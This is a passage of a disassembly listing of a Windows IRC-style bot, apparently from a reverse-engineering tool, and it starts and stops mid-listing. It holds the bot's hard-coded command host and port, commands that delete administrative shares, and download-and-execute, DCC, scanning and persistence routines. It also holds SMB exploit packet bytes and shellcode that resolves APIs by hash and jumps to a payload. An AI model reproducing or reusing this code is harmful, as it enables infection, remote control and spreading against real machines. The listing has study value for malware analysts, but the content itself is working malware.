'|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o align 4 aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o align 8 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o align 4 dd 0 aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o align 8 aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+342o align 10h aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o dd 0 aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o align 10h aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo align 4 aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o ; sub_407790+2DCo align 4 a7000 db '7000',0 ; DATA XREF: sub_407790+298o ; sub_407790+2CBo align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443B04: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C88: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C94: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D34: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D38: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DD0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DD4 dd 2Eh ; ___:0041B235o ... dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E24: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset loc_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EB0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EB8 dd 430050h ; ___:0041C25Br dword_443EBC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_4440A8: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444448 dd 1BDh ; sub_422A40+310o ... off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444450 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422A40+747o off_444580 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... dword_444584 dd 722D20h ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44490C dd 0 dword_444910 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444918 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A14 push dword ptr [esi] push 63D61209h call sub_444A2A mov [esi+8], eax call sub_4449DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A2A mov [esi+0Ch], eax call sub_44498F push dword ptr [esi+4] push 4C0297FAh call sub_444A2A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444918 endp ; =============== S U B R O U T I N E ======================================= sub_44498F proc near ; CODE XREF: sub_444918+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44498F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449B8 proc near ; CODE XREF: sub_44498F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449C7: ; CODE XREF: sub_4449B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449D4 inc ebx jmp short loc_4449C7 ; --------------------------------------------------------------------------- loc_4449D4: ; CODE XREF: sub_4449B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449DD proc near ; CODE XREF: sub_444918+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449F5: ; CODE XREF: sub_4449DD+1Ej cmp [ecx], ebx jz short loc_4449FD mov ecx, [ecx] jmp short loc_4449F5 ; --------------------------------------------------------------------------- loc_4449FD: ; CODE XREF: sub_4449DD+1Aj mov edx, edi loc_4449FF: ; CODE XREF: sub_4449DD+2Aj cmp [edx+4], ebx jz short loc_444A09 mov edx, [edx+4] jmp short loc_4449FF ; --------------------------------------------------------------------------- loc_444A09: ; CODE XREF: sub_4449DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449DD endp ; =============== S U B R O U T I N E ======================================= sub_444A14 proc near ; CODE XREF: sub_444918+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A14 endp ; =============== S U B R O U T I N E ======================================= sub_444A2A proc near ; CODE XREF: sub_444918+16p ; sub_444918+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A40: ; CODE XREF: sub_444A2A+33j jecxz short loc_444A7A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A4D: ; CODE XREF: sub_444A2A+2Dj lodsb cmp al, ah jz short loc_444A59 ror edi, 0Dh add edi, eax jmp short loc_444A4D ; --------------------------------------------------------------------------- loc_444A59: ; CODE XREF: sub_444A2A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A40 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j ; sub_444A2A:loc_444A7Aj jmp short loc_444A7A sub_444A2A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A80 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AD2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A9D: ; CODE XREF: 